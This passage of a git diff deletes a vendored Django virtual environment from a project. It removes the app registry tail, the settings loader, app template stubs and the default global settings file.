model._meta.swappable - # Is this model swappable and the one given by to_string? - if model._meta.swappable and model._meta.label_lower == to_string: - return model._meta.swappable - return None - - def set_available_apps(self, available): - """ - Restrict the set of installed apps used by get_app_config[s]. - - available must be an iterable of application names. - - set_available_apps() must be balanced with unset_available_apps(). - - Primarily used for performance optimization in TransactionTestCase. - - This method is safe in the sense that it doesn't trigger any imports. - """ - available = set(available) - installed = {app_config.name for app_config in self.get_app_configs()} - if not available.issubset(installed): - raise ValueError( - "Available apps isn't a subset of installed apps, extra apps: %s" - % ", ".join(available - installed) - ) - - self.stored_app_configs.append(self.app_configs) - self.app_configs = { - label: app_config - for label, app_config in self.app_configs.items() - if app_config.name in available - } - self.clear_cache() - - def unset_available_apps(self): - """Cancel a previous call to set_available_apps().""" - self.app_configs = self.stored_app_configs.pop() - self.clear_cache() - - def set_installed_apps(self, installed): - """ - Enable a different set of installed apps for get_app_config[s]. - - installed must be an iterable in the same format as INSTALLED_APPS. - - set_installed_apps() must be balanced with unset_installed_apps(), - even if it exits with an exception. - - Primarily used as a receiver of the setting_changed signal in tests. - - This method may trigger new imports, which may add new models to the - registry of all imported models. They will stay in the registry even - after unset_installed_apps(). Since it isn't possible to replay - imports safely (e.g. that could lead to registering listeners twice), - models are registered when they're imported and never removed. - """ - if not self.ready: - raise AppRegistryNotReady("App registry isn't ready yet.") - self.stored_app_configs.append(self.app_configs) - self.app_configs = {} - self.apps_ready = self.models_ready = self.loading = self.ready = False - self.clear_cache() - self.populate(installed) - - def unset_installed_apps(self): - """Cancel a previous call to set_installed_apps().""" - self.app_configs = self.stored_app_configs.pop() - self.apps_ready = self.models_ready = self.ready = True - self.clear_cache() - - def clear_cache(self): - """ - Clear all internal caches, for methods that alter the app registry. - - This is mostly used in tests. - """ - self.get_swappable_settings_name.cache_clear() - # Call expire cache on each model. This will purge - # the relation tree and the fields cache. - self.get_models.cache_clear() - if self.ready: - # Circumvent self.get_models() to prevent that the cache is refilled. - # This particularly prevents that an empty value is cached while cloning. - for app_config in self.app_configs.values(): - for model in app_config.get_models(include_auto_created=True): - model._meta._expire_cache() - - def lazy_model_operation(self, function, *model_keys): - """ - Take a function and a number of ("app_label", "modelname") tuples, and - when all the corresponding models have been imported and registered, - call the function with the model classes as its arguments. - - The function passed to this method must accept exactly n models as - arguments, where n=len(model_keys). - """ - # Base case: no arguments, just execute the function. - if not model_keys: - function() - # Recursive case: take the head of model_keys, wait for the - # corresponding model class to be imported and registered, then apply - # that argument to the supplied function. Pass the resulting partial - # to lazy_model_operation() along with the remaining model args and - # repeat until all models are loaded and all arguments are applied. - else: - next_model, *more_models = model_keys - - # This will be executed after the class corresponding to next_model - # has been imported and registered. The `func` attribute provides - # duck-type compatibility with partials. - def apply_next_model(model): - next_function = partial(apply_next_model.func, model) - self.lazy_model_operation(next_function, *more_models) - - apply_next_model.func = function - - # If the model has already been imported and registered, partially - # apply it to the function now. If not, add it to the list of - # pending operations for the model, where it will be executed with - # the model class as its sole argument once the model is ready. - try: - model_class = self.get_registered_model(*next_model) - except LookupError: - self._pending_operations[next_model].append(apply_next_model) - else: - apply_next_model(model_class) - - def do_pending_operations(self, model): - """ - Take a newly-prepared model and pass it to each function waiting for - it. This is called at the very end of Apps.register_model(). - """ - key = model._meta.app_label, model._meta.model_name - for function in self._pending_operations.pop(key, []): - function(model) - - -apps = Apps(installed_apps=None) diff --git a/backend/venv/Lib/site-packages/django/conf/__init__.py b/backend/venv/Lib/site-packages/django/conf/__init__.py deleted file mode 100644 index 5568d7cc..00000000 --- a/backend/venv/Lib/site-packages/django/conf/__init__.py +++ /dev/null @@ -1,272 +0,0 @@ -""" -Settings and configuration for Django. - -Read values from the module specified by the DJANGO_SETTINGS_MODULE environment -variable, and then from django.conf.global_settings; see the global_settings.py -for a list of all possible variables. -""" - -import importlib -import os -import time -import traceback -import warnings -from pathlib import Path - -import django -from django.conf import global_settings -from django.core.exceptions import ImproperlyConfigured -from django.utils.deprecation import RemovedInDjango60Warning -from django.utils.functional import LazyObject, empty - -ENVIRONMENT_VARIABLE = "DJANGO_SETTINGS_MODULE" -DEFAULT_STORAGE_ALIAS = "default" -STATICFILES_STORAGE_ALIAS = "staticfiles" - -# RemovedInDjango60Warning. -FORMS_URLFIELD_ASSUME_HTTPS_DEPRECATED_MSG = ( - "The FORMS_URLFIELD_ASSUME_HTTPS transitional setting is deprecated." -) - - -class SettingsReference(str): - """ - String subclass which references a current settings value. It's treated as - the value in memory but serializes to a settings.NAME attribute reference. - """ - - def __new__(self, value, setting_name): - return str.__new__(self, value) - - def __init__(self, value, setting_name): - self.setting_name = setting_name - - -class LazySettings(LazyObject): - """ - A lazy proxy for either global Django settings or a custom settings object. - The user can manually configure settings prior to using them. Otherwise, - Django uses the settings module pointed to by DJANGO_SETTINGS_MODULE. - """ - - def _setup(self, name=None): - """ - Load the settings module pointed to by the environment variable. This - is used the first time settings are needed, if the user hasn't - configured settings manually. - """ - settings_module = os.environ.get(ENVIRONMENT_VARIABLE) - if not settings_module: - desc = ("setting %s" % name) if name else "settings" - raise ImproperlyConfigured( - "Requested %s, but settings are not configured. " - "You must either define the environment variable %s " - "or call settings.configure() before accessing settings." - % (desc, ENVIRONMENT_VARIABLE) - ) - - self._wrapped = Settings(settings_module) - - def __repr__(self): - # Hardcode the class name as otherwise it yields 'Settings'. - if self._wrapped is empty: - return "" - return '' % { - "settings_module": self._wrapped.SETTINGS_MODULE, - } - - def __getattr__(self, name): - """Return the value of a setting and cache it in self.__dict__.""" - if (_wrapped := self._wrapped) is empty: - self._setup(name) - _wrapped = self._wrapped - val = getattr(_wrapped, name) - - # Special case some settings which require further modification. - # This is done here for performance reasons so the modified value is cached. - if name in {"MEDIA_URL", "STATIC_URL"} and val is not None: - val = self._add_script_prefix(val) - elif name == "SECRET_KEY" and not val: - raise ImproperlyConfigured("The SECRET_KEY setting must not be empty.") - - self.__dict__[name] = val - return val - - def __setattr__(self, name, value): - """ - Set the value of setting. Clear all cached values if _wrapped changes - (@override_settings does this) or clear single values when set. - """ - if name == "_wrapped": - self.__dict__.clear() - else: - self.__dict__.pop(name, None) - super().__setattr__(name, value) - - def __delattr__(self, name): - """Delete a setting and clear it from cache if needed.""" - super().__delattr__(name) - self.__dict__.pop(name, None) - - def configure(self, default_settings=global_settings, **options): - """ - Called to manually configure the settings. The 'default_settings' - parameter sets where to retrieve any unspecified values from (its - argument must support attribute access (__getattr__)). - """ - if self._wrapped is not empty: - raise RuntimeError("Settings already configured.") - holder = UserSettingsHolder(default_settings) - for name, value in options.items(): - if not name.isupper(): - raise TypeError("Setting %r must be uppercase." % name) - setattr(holder, name, value) - self._wrapped = holder - - @staticmethod - def _add_script_prefix(value): - """ - Add SCRIPT_NAME prefix to relative paths. - - Useful when the app is being served at a subpath and manually prefixing - subpath to STATIC_URL and MEDIA_URL in settings is inconvenient. - """ - # Don't apply prefix to absolute paths and URLs. - if value.startswith(("http://", "https://", "/")): - return value - from django.urls import get_script_prefix - - return "%s%s" % (get_script_prefix(), value) - - @property - def configured(self): - """Return True if the settings have already been configured.""" - return self._wrapped is not empty - - def _show_deprecation_warning(self, message, category): - stack = traceback.extract_stack() - # Show a warning if the setting is used outside of Django. - # Stack index: -1 this line, -2 the property, -3 the - # LazyObject __getattribute__(), -4 the caller. - filename, _, _, _ = stack[-4] - if not filename.startswith(os.path.dirname(django.__file__)): - warnings.warn(message, category, stacklevel=2) - - -class Settings: - def __init__(self, settings_module): - # update this dict from global settings (but only for ALL_CAPS settings) - for setting in dir(global_settings): - if setting.isupper(): - setattr(self, setting, getattr(global_settings, setting)) - - # store the settings module in case someone later cares - self.SETTINGS_MODULE = settings_module - - mod = importlib.import_module(self.SETTINGS_MODULE) - - tuple_settings = ( - "ALLOWED_HOSTS", - "INSTALLED_APPS", - "TEMPLATE_DIRS", - "LOCALE_PATHS", - "SECRET_KEY_FALLBACKS", - ) - self._explicit_settings = set() - for setting in dir(mod): - if setting.isupper(): - setting_value = getattr(mod, setting) - - if setting in tuple_settings and not isinstance( - setting_value, (list, tuple) - ): - raise ImproperlyConfigured( - "The %s setting must be a list or a tuple." % setting - ) - setattr(self, setting, setting_value) - self._explicit_settings.add(setting) - - if self.is_overridden("FORMS_URLFIELD_ASSUME_HTTPS"): - warnings.warn( - FORMS_URLFIELD_ASSUME_HTTPS_DEPRECATED_MSG, - RemovedInDjango60Warning, - ) - - if hasattr(time, "tzset") and self.TIME_ZONE: - # When we can, attempt to validate the timezone. If we can't find - # this file, no check happens and it's harmless. - zoneinfo_root = Path("/usr/share/zoneinfo") - zone_info_file = zoneinfo_root.joinpath(*self.TIME_ZONE.split("/")) - if zoneinfo_root.exists() and not zone_info_file.exists(): - raise ValueError("Incorrect timezone setting: %s" % self.TIME_ZONE) - # Move the time zone info into os.environ. See ticket #2315 for why - # we don't do this unconditionally (breaks Windows). - os.environ["TZ"] = self.TIME_ZONE - time.tzset() - - def is_overridden(self, setting): - return setting in self._explicit_settings - - def __repr__(self): - return '<%(cls)s "%(settings_module)s">' % { - "cls": self.__class__.__name__, - "settings_module": self.SETTINGS_MODULE, - } - - -class UserSettingsHolder: - """Holder for user configured settings.""" - - # SETTINGS_MODULE doesn't make much sense in the manually configured - # (standalone) case. - SETTINGS_MODULE = None - - def __init__(self, default_settings): - """ - Requests for configuration variables not in this class are satisfied - from the module specified in default_settings (if possible). - """ - self.__dict__["_deleted"] = set() - self.default_settings = default_settings - - def __getattr__(self, name): - if not name.isupper() or name in self._deleted: - raise AttributeError - return getattr(self.default_settings, name) - - def __setattr__(self, name, value): - self._deleted.discard(name) - if name == "FORMS_URLFIELD_ASSUME_HTTPS": - warnings.warn( - FORMS_URLFIELD_ASSUME_HTTPS_DEPRECATED_MSG, - RemovedInDjango60Warning, - ) - super().__setattr__(name, value) - - def __delattr__(self, name): - self._deleted.add(name) - if hasattr(self, name): - super().__delattr__(name) - - def __dir__(self): - return sorted( - s - for s in [*self.__dict__, *dir(self.default_settings)] - if s not in self._deleted - ) - - def is_overridden(self, setting): - deleted = setting in self._deleted - set_locally = setting in self.__dict__ - set_on_default = getattr( - self.default_settings, "is_overridden", lambda s: False - )(setting) - return deleted or set_locally or set_on_default - - def __repr__(self): - return "<%(cls)s>" % { - "cls": self.__class__.__name__, - } - - -settings = LazySettings() diff --git a/backend/venv/Lib/site-packages/django/conf/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 1396f514..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/__pycache__/global_settings.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/__pycache__/global_settings.cpython-311.pyc deleted file mode 100644 index 9df0d190..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/__pycache__/global_settings.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/app_template/__init__.py-tpl b/backend/venv/Lib/site-packages/django/conf/app_template/__init__.py-tpl deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/app_template/admin.py-tpl b/backend/venv/Lib/site-packages/django/conf/app_template/admin.py-tpl deleted file mode 100644 index 8c38f3f3..00000000 --- a/backend/venv/Lib/site-packages/django/conf/app_template/admin.py-tpl +++ /dev/null @@ -1,3 +0,0 @@ -from django.contrib import admin - -# Register your models here. diff --git a/backend/venv/Lib/site-packages/django/conf/app_template/apps.py-tpl b/backend/venv/Lib/site-packages/django/conf/app_template/apps.py-tpl deleted file mode 100644 index b7053521..00000000 --- a/backend/venv/Lib/site-packages/django/conf/app_template/apps.py-tpl +++ /dev/null @@ -1,6 +0,0 @@ -from django.apps import AppConfig - - -class {{ camel_case_app_name }}Config(AppConfig): - default_auto_field = 'django.db.models.BigAutoField' - name = '{{ app_name }}' diff --git a/backend/venv/Lib/site-packages/django/conf/app_template/migrations/__init__.py-tpl b/backend/venv/Lib/site-packages/django/conf/app_template/migrations/__init__.py-tpl deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/app_template/models.py-tpl b/backend/venv/Lib/site-packages/django/conf/app_template/models.py-tpl deleted file mode 100644 index 71a83623..00000000 --- a/backend/venv/Lib/site-packages/django/conf/app_template/models.py-tpl +++ /dev/null @@ -1,3 +0,0 @@ -from django.db import models - -# Create your models here. diff --git a/backend/venv/Lib/site-packages/django/conf/app_template/tests.py-tpl b/backend/venv/Lib/site-packages/django/conf/app_template/tests.py-tpl deleted file mode 100644 index 7ce503c2..00000000 --- a/backend/venv/Lib/site-packages/django/conf/app_template/tests.py-tpl +++ /dev/null @@ -1,3 +0,0 @@ -from django.test import TestCase - -# Create your tests here. diff --git a/backend/venv/Lib/site-packages/django/conf/app_template/views.py-tpl b/backend/venv/Lib/site-packages/django/conf/app_template/views.py-tpl deleted file mode 100644 index 91ea44a2..00000000 --- a/backend/venv/Lib/site-packages/django/conf/app_template/views.py-tpl +++ /dev/null @@ -1,3 +0,0 @@ -from django.shortcuts import render - -# Create your views here. diff --git a/backend/venv/Lib/site-packages/django/conf/global_settings.py b/backend/venv/Lib/site-packages/django/conf/global_settings.py deleted file mode 100644 index f4535acb..00000000 --- a/backend/venv/Lib/site-packages/django/conf/global_settings.py +++ /dev/null @@ -1,669 +0,0 @@ -""" -Default Django settings. Override these with settings in the module pointed to -by the DJANGO_SETTINGS_MODULE environment variable. -""" - - -# This is defined here as a do-nothing function because we can't import -# django.utils.translation -- that module depends on the settings. -def gettext_noop(s): - return s - - -#################### -# CORE # -#################### - -DEBUG = False - -# Whether the framework should propagate raw exceptions rather than catching -# them. This is useful under some testing situations and should never be used -# on a live site. -DEBUG_PROPAGATE_EXCEPTIONS = False - -# People who get code error notifications. In the format -# [('Full Name', 'email@example.com'), ('Full Name', 'anotheremail@example.com')] -ADMINS = [] - -# List of IP addresses, as strings, that: -# * See debug comments, when DEBUG is true -# * Receive x-headers -INTERNAL_IPS = [] - -# Hosts/domain names that are valid for this site. -# "*" matches anything, ".example.com" matches example.com and all subdomains -ALLOWED_HOSTS = [] - -# Local time zone for this installation. All choices can be found here: -# https://en.wikipedia.org/wiki/List_of_tz_zones_by_name (although not all -# systems may support all possibilities). When USE_TZ is True, this is -# interpreted as the default user time zone. -TIME_ZONE = "America/Chicago" - -# If you set this to True, Django will use timezone-aware datetimes. -USE_TZ = True - -# Language code for this installation. Valid choices can be found here: -# https://www.iana.org/assignments/language-subtag-registry/ -# If LANGUAGE_CODE is not listed in LANGUAGES (below), the project must -# provide the necessary translations and locale definitions. -LANGUAGE_CODE = "en-us" - -# Languages we provide translations for, out of the box. -LANGUAGES = [ - ("af", gettext_noop("Afrikaans")), - ("ar", gettext_noop("Arabic")), - ("ar-dz", gettext_noop("Algerian Arabic")), - ("ast", gettext_noop("Asturian")), - ("az", gettext_noop("Azerbaijani")), - ("bg", gettext_noop("Bulgarian")), - ("be", gettext_noop("Belarusian")), - ("bn", gettext_noop("Bengali")), - ("br", gettext_noop("Breton")), - ("bs", gettext_noop("Bosnian")), - ("ca", gettext_noop("Catalan")), - ("ckb", gettext_noop("Central Kurdish (Sorani)")), - ("cs", gettext_noop("Czech")), - ("cy", gettext_noop("Welsh")), - ("da", gettext_noop("Danish")), - ("de", gettext_noop("German")), - ("dsb", gettext_noop("Lower Sorbian")), - ("el", gettext_noop("Greek")), - ("en", gettext_noop("English")), - ("en-au", gettext_noop("Australian English")), - ("en-gb", gettext_noop("British English")), - ("eo", gettext_noop("Esperanto")), - ("es", gettext_noop("Spanish")), - ("es-ar", gettext_noop("Argentinian Spanish")), - ("es-co", gettext_noop("Colombian Spanish")), - ("es-mx", gettext_noop("Mexican Spanish")), - ("es-ni", gettext_noop("Nicaraguan Spanish")), - ("es-ve", gettext_noop("Venezuelan Spanish")), - ("et", gettext_noop("Estonian")), - ("eu", gettext_noop("Basque")), - ("fa", gettext_noop("Persian")), - ("fi", gettext_noop("Finnish")), - ("fr", gettext_noop("French")), - ("fy", gettext_noop("Frisian")), - ("ga", gettext_noop("Irish")), - ("gd", gettext_noop("Scottish Gaelic")), - ("gl", gettext_noop("Galician")), - ("he", gettext_noop("Hebrew")), - ("hi", gettext_noop("Hindi")), - ("hr", gettext_noop("Croatian")), - ("hsb", gettext_noop("Upper Sorbian")), - ("hu", gettext_noop("Hungarian")), - ("hy", gettext_noop("Armenian")), - ("ia", gettext_noop("Interlingua")), - ("id", gettext_noop("Indonesian")), - ("ig", gettext_noop("Igbo")), - ("io", gettext_noop("Ido")), - ("is", gettext_noop("Icelandic")), - ("it", gettext_noop("Italian")), - ("ja", gettext_noop("Japanese")), - ("ka", gettext_noop("Georgian")), - ("kab", gettext_noop("Kabyle")), - ("kk", gettext_noop("Kazakh")), - ("km", gettext_noop("Khmer")), - ("kn", gettext_noop("Kannada")), - ("ko", gettext_noop("Korean")), - ("ky", gettext_noop("Kyrgyz")), - ("lb", gettext_noop("Luxembourgish")), - ("lt", gettext_noop("Lithuanian")), - ("lv", gettext_noop("Latvian")), - ("mk", gettext_noop("Macedonian")), - ("ml", gettext_noop("Malayalam")), - ("mn", gettext_noop("Mongolian")), - ("mr", gettext_noop("Marathi")), - ("ms", gettext_noop("Malay")), - ("my", gettext_noop("Burmese")), - ("nb", gettext_noop("Norwegian Bokmål")), - ("ne", gettext_noop("Nepali")), - ("nl", gettext_noop("Dutch")), - ("nn", gettext_noop("Norwegian Nynorsk")), - ("os", gettext_noop("Ossetic")), - ("pa", gettext_noop("Punjabi")), - ("pl", gettext_noop("Polish")), - ("pt", gettext_noop("Portuguese")), - ("pt-br", gettext_noop("Brazilian Portuguese")), - ("ro", gettext_noop("Romanian")), - ("ru", gettext_noop("Russian")), - ("sk", gettext_noop("Slovak")), - ("sl", gettext_noop("Slovenian")), - ("sq", gettext_noop("Albanian")), - ("sr", gettext_noop("Serbian")), - ("sr-latn", gettext_noop("Serbian Latin")), - ("sv", gettext_noop("Swedish")), - ("sw", gettext_noop("Swahili")), - ("ta", gettext_noop("Tamil")), - ("te", gettext_noop("Telugu")), - ("tg", gettext_noop("Tajik")), - ("th", gettext_noop("Thai")), - ("tk", gettext_noop("Turkmen")), - ("tr", gettext_noop("Turkish")), - ("tt", gettext_noop("Tatar")), - ("udm", gettext_noop("Udmurt")), - ("ug", gettext_noop("Uyghur")), - ("uk", gettext_noop("Ukrainian")), - ("ur", gettext_noop("Urdu")), - ("uz", gettext_noop("Uzbek")), - ("vi", gettext_noop("Vietnamese")), - ("zh-hans", gettext_noop("Simplified Chinese")), - ("zh-hant", gettext_noop("Traditional Chinese")), -] - -# Languages using BiDi (right-to-left) layout -LANGUAGES_BIDI = ["he", "ar", "ar-dz", "ckb", "fa", "ug", "ur"] - -# If you set this to False, Django will make some optimizations so as not -# to load the internationalization machinery. -USE_I18N = True -LOCALE_PATHS = [] - -# Settings for language cookie -LANGUAGE_COOKIE_NAME = "django_language" -LANGUAGE_COOKIE_AGE = None -LANGUAGE_COOKIE_DOMAIN = None -LANGUAGE_COOKIE_PATH = "/" -LANGUAGE_COOKIE_SECURE = False -LANGUAGE_COOKIE_HTTPONLY = False -LANGUAGE_COOKIE_SAMESITE = None - -# Not-necessarily-technical managers of the site. They get broken link -# notifications and other various emails. -MANAGERS = ADMINS - -# Default charset to use for all HttpResponse objects, if a MIME type isn't -# manually specified. It's used to construct the Content-Type header. -DEFAULT_CHARSET = "utf-8" - -# Email address that error messages come from. -SERVER_EMAIL = "root@localhost" - -# Database connection info. If left empty, will default to the dummy backend. -DATABASES = {} - -# Classes used to implement DB routing behavior. -DATABASE_ROUTERS = [] - -# The email backend to use. For possible shortcuts see django.core.mail. -# The default is to use the SMTP backend. -# Third-party backends can be specified by providing a Python path -# to a module that defines an EmailBackend class. -EMAIL_BACKEND = "django.core.mail.backends.smtp.EmailBackend" - -# Host for sending email. -EMAIL_HOST = "localhost" - -# Port for sending email. -EMAIL_PORT = 25 - -# Whether to send SMTP 'Date' header in the local time zone or in UTC. -EMAIL_USE_LOCALTIME = False - -# Optional SMTP authentication information for EMAIL_HOST. -EMAIL_HOST_USER = "" -EMAIL_HOST_PASSWORD = "" -EMAIL_USE_TLS = False -EMAIL_USE_SSL = False -EMAIL_SSL_CERTFILE = None -EMAIL_SSL_KEYFILE = None -EMAIL_TIMEOUT = None - -# List of strings representing installed apps. -INSTALLED_APPS = [] - -TEMPLATES = [] - -# Default form rendering class. -FORM_RENDERER = "django.forms.renderers.DjangoTemplates" - -# RemovedInDjango60Warning: It's a transitional setting helpful in early -# adoption of "https" as the new default value of forms.URLField.assume_scheme. -# Set to True to assume "https" during the Django 5.x release cycle. -FORMS_URLFIELD_ASSUME_HTTPS = False - -# Default email address to use for various automated correspondence from -# the site managers. -DEFAULT_FROM_EMAIL = "webmaster@localhost" - -# Subject-line prefix for email messages send with django.core.mail.mail_admins -# or ...mail_managers. Make sure to include the trailing space. -EMAIL_SUBJECT_PREFIX = "[Django] " - -# Whether to append trailing slashes to URLs. -APPEND_SLASH = True - -# Whether to prepend the "www." subdomain to URLs that don't have it. -PREPEND_WWW = False - -# Override the server-derived value of SCRIPT_NAME -FORCE_SCRIPT_NAME = None - -# List of compiled regular expression objects representing User-Agent strings -# that are not allowed to visit any page, systemwide. Use this for bad -# robots/crawlers. Here are a few examples: -# import re -# DISALLOWED_USER_AGENTS = [ -# re.compile(r'^NaverBot.*'), -# re.compile(r'^EmailSiphon.*'), -# re.compile(r'^SiteSucker.*'), -# re.compile(r'^sohu-search'), -# ] -DISALLOWED_USER_AGENTS = [] - -ABSOLUTE_URL_OVERRIDES = {} - -# List of compiled regular expression objects representing URLs that need not -# be reported by BrokenLinkEmailsMiddleware. Here are a few examples: -# import re -# IGNORABLE_404_URLS = [ -# re.compile(r'^/apple-touch-icon.*\.png$'), -# re.compile(r'^/favicon.ico$'), -# re.compile(r'^/robots.txt$'), -# re.compile(r'^/phpmyadmin/'), -# re.compile(r'\.(cgi|php|pl)$'), -# ] -IGNORABLE_404_URLS = [] - -# A secret key for this particular Django installation. Used in secret-key -# hashing algorithms. Set this in your settings, or Django will complain -# loudly. -SECRET_KEY = "" - -# List of secret keys used to verify the validity of signatures. This allows -# secret key rotation. -SECRET_KEY_FALLBACKS = [] - -STORAGES = { - "default": { - "BACKEND": "django.core.files.storage.FileSystemStorage", - }, - "staticfiles": { - "BACKEND": "django.contrib.staticfiles.storage.StaticFilesStorage", - }, -} - -# Absolute filesystem path to the directory that will hold user-uploaded files. -# Example: "/var/www/example.com/media/" -MEDIA_ROOT = "" - -# URL that handles the media served from MEDIA_ROOT. -# Examples: "http://example.com/media/", "http://media.example.com/" -MEDIA_URL = "" - -# Absolute path to the directory static files should be collected to. -# Example: "/var/www/example.com/static/" -STATIC_ROOT = None - -# URL that handles the static files served from STATIC_ROOT. -# Example: "http://example.com/static/", "http://static.example.com/" -STATIC_URL = None - -# List of upload handler classes to be applied in order. -FILE_UPLOAD_HANDLERS = [ - "django.core.files.uploadhandler.MemoryFileUploadHandler", - "django.core.files.uploadhandler.TemporaryFileUploadHandler", -] - -# Maximum size, in bytes, of a request before it will be streamed to the -# file system instead of into memory. -FILE_UPLOAD_MAX_MEMORY_SIZE = 2621440 # i.e. 2.5 MB - -# Maximum size in bytes of request data (excluding file uploads) that will be -# read before a SuspiciousOperation (RequestDataTooBig) is raised. -DATA_UPLOAD_MAX_MEMORY_SIZE = 2621440 # i.e. 2.5 MB - -# Maximum number of GET/POST parameters that will be read before a -# SuspiciousOperation (TooManyFieldsSent) is raised. -DATA_UPLOAD_MAX_NUMBER_FIELDS = 1000 - -# Maximum number of files encoded in a multipart upload that will be read -# before a SuspiciousOperation (TooManyFilesSent) is raised. -DATA_UPLOAD_MAX_NUMBER_FILES = 100 - -# Directory in which upload streamed files will be temporarily saved. A value of -# `None` will make Django use the operating system's default temporary directory -# (i.e. "/tmp" on *nix systems). -FILE_UPLOAD_TEMP_DIR = None - -# The numeric mode to set newly-uploaded files to. The value should be a mode -# you'd pass directly to os.chmod; see -# https://docs.python.org/library/os.html#files-and-directories. -FILE_UPLOAD_PERMISSIONS = 0o644 - -# The numeric mode to assign to newly-created directories, when uploading files. -# The value should be a mode as you'd pass to os.chmod; -# see https://docs.python.org/library/os.html#files-and-directories. -FILE_UPLOAD_DIRECTORY_PERMISSIONS = None - -# Python module path where user will place custom format definition. -# The directory where this setting is pointing should contain subdirectories -# named as the locales, containing a formats.py file -# (i.e. "myproject.locale" for myproject/locale/en/formats.py etc. use) -FORMAT_MODULE_PATH = None - -# Default formatting for date objects. See all available format strings here: -# https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "N j, Y" - -# Default formatting for datetime objects. See all available format strings here: -# https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATETIME_FORMAT = "N j, Y, P" - -# Default formatting for time objects. See all available format strings here: -# https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -TIME_FORMAT = "P" - -# Default formatting for date objects when only the year and month are relevant. -# See all available format strings here: -# https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -YEAR_MONTH_FORMAT = "F Y" - -# Default formatting for date objects when only the month and day are relevant. -# See all available format strings here: -# https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -MONTH_DAY_FORMAT = "F j" - -# Default short formatting for date objects. See all available format strings here: -# https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -SHORT_DATE_FORMAT = "m/d/Y" - -# Default short formatting for datetime objects. -# See all available format strings here: -# https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -SHORT_DATETIME_FORMAT = "m/d/Y P" - -# Default formats to be used when parsing dates from input boxes, in order -# See all available format string here: -# https://docs.python.org/library/datetime.html#strftime-behavior -# * Note that these format strings are different from the ones to display dates -DATE_INPUT_FORMATS = [ - "%Y-%m-%d", # '2006-10-25' - "%m/%d/%Y", # '10/25/2006' - "%m/%d/%y", # '10/25/06' - "%b %d %Y", # 'Oct 25 2006' - "%b %d, %Y", # 'Oct 25, 2006' - "%d %b %Y", # '25 Oct 2006' - "%d %b, %Y", # '25 Oct, 2006' - "%B %d %Y", # 'October 25 2006' - "%B %d, %Y", # 'October 25, 2006' - "%d %B %Y", # '25 October 2006' - "%d %B, %Y", # '25 October, 2006' -] - -# Default formats to be used when parsing times from input boxes, in order -# See all available format string here: -# https://docs.python.org/library/datetime.html#strftime-behavior -# * Note that these format strings are different from the ones to display dates -TIME_INPUT_FORMATS = [ - "%H:%M:%S", # '14:30:59' - "%H:%M:%S.%f", # '14:30:59.000200' - "%H:%M", # '14:30' -] - -# Default formats to be used when parsing dates and times from input boxes, -# in order -# See all available format string here: -# https://docs.python.org/library/datetime.html#strftime-behavior -# * Note that these format strings are different from the ones to display dates -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '2006-10-25 14:30:59' - "%Y-%m-%d %H:%M:%S.%f", # '2006-10-25 14:30:59.000200' - "%Y-%m-%d %H:%M", # '2006-10-25 14:30' - "%m/%d/%Y %H:%M:%S", # '10/25/2006 14:30:59' - "%m/%d/%Y %H:%M:%S.%f", # '10/25/2006 14:30:59.000200' - "%m/%d/%Y %H:%M", # '10/25/2006 14:30' - "%m/%d/%y %H:%M:%S", # '10/25/06 14:30:59' - "%m/%d/%y %H:%M:%S.%f", # '10/25/06 14:30:59.000200' - "%m/%d/%y %H:%M", # '10/25/06 14:30' -] - -# First day of week, to be used on calendars -# 0 means Sunday, 1 means Monday... -FIRST_DAY_OF_WEEK = 0 - -# Decimal separator symbol -DECIMAL_SEPARATOR = "." - -# Boolean that sets whether to add thousand separator when formatting numbers -USE_THOUSAND_SEPARATOR = False - -# Number of digits that will be together, when splitting them by -# THOUSAND_SEPARATOR. 0 means no grouping, 3 means splitting by thousands... -NUMBER_GROUPING = 0 - -# Thousand separator symbol -THOUSAND_SEPARATOR = "," - -# The tablespaces to use for each model when not specified otherwise. -DEFAULT_TABLESPACE = "" -DEFAULT_INDEX_TABLESPACE = "" - -# Default primary key field type. -DEFAULT_AUTO_FIELD = "django.db.models.AutoField" - -# Default X-Frame-Options header value -X_FRAME_OPTIONS = "DENY" - -USE_X_FORWARDED_HOST = False -USE_X_FORWARDED_PORT = False - -# The Python dotted path to the WSGI application that Django's internal server -# (runserver) will use. If `None`, the return value of -# 'django.core.wsgi.get_wsgi_application' is used, thus preserving the same -# behavior as previous versions of Django. Otherwise this should point to an -# actual WSGI application object. -WSGI_APPLICATION = None - -# If your Django app is behind a proxy that sets a header to specify secure -# connections, AND that proxy ensures that user-submitted headers with the -# same name are ignored (so that people can't spoof it), set this value to -# a tuple of (header_name, header_value). For any requests that come in with -# that header/value, request.is_secure() will return True. -# WARNING! Only set this if you fully understand what you're doing. Otherwise, -# you may be opening yourself up to a security risk. -SECURE_PROXY_SSL_HEADER = None - -############## -# MIDDLEWARE # -############## - -# List of middleware to use. Order is important; in the request phase, these -# middleware will be applied in the order given, and in the response -# phase the middleware will be applied in reverse order. -MIDDLEWARE = [] - -############ -# SESSIONS # -############ - -# Cache to store session data if using the cache session backend. -SESSION_CACHE_ALIAS = "default" -# Cookie name. This can be whatever you want. -SESSION_COOKIE_NAME = "sessionid" -# Age of cookie, in seconds (default: 2 weeks). -SESSION_COOKIE_AGE = 60 * 60 * 24 * 7 * 2 -# A string like "example.com", or None for standard domain cookie. -SESSION_COOKIE_DOMAIN = None -# Whether the session cookie should be secure (https:// only). -SESSION_COOKIE_SECURE = False -# The path of the session cookie. -SESSION_COOKIE_PATH = "/" -# Whether to use the HttpOnly flag. -SESSION_COOKIE_HTTPONLY = True -# 